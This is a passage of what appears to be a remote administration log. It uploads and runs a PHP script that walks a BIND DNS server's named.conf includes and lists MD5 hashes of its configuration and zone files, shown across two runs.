MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 10:37:20: Establishing a connection
2026-06-13 10:37:20: 

PUT: /tmp/pkp186499

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 10:37:21: 

runuser -l bind -s /bin/bash -c '/tmp/pkp186499; rm /tmp/pkp186499'

2026-06-13 10:37:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 14:45:52: Establishing a connection
2026-06-13 14:45:52: 

PUT: /tmp/pkp570907

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
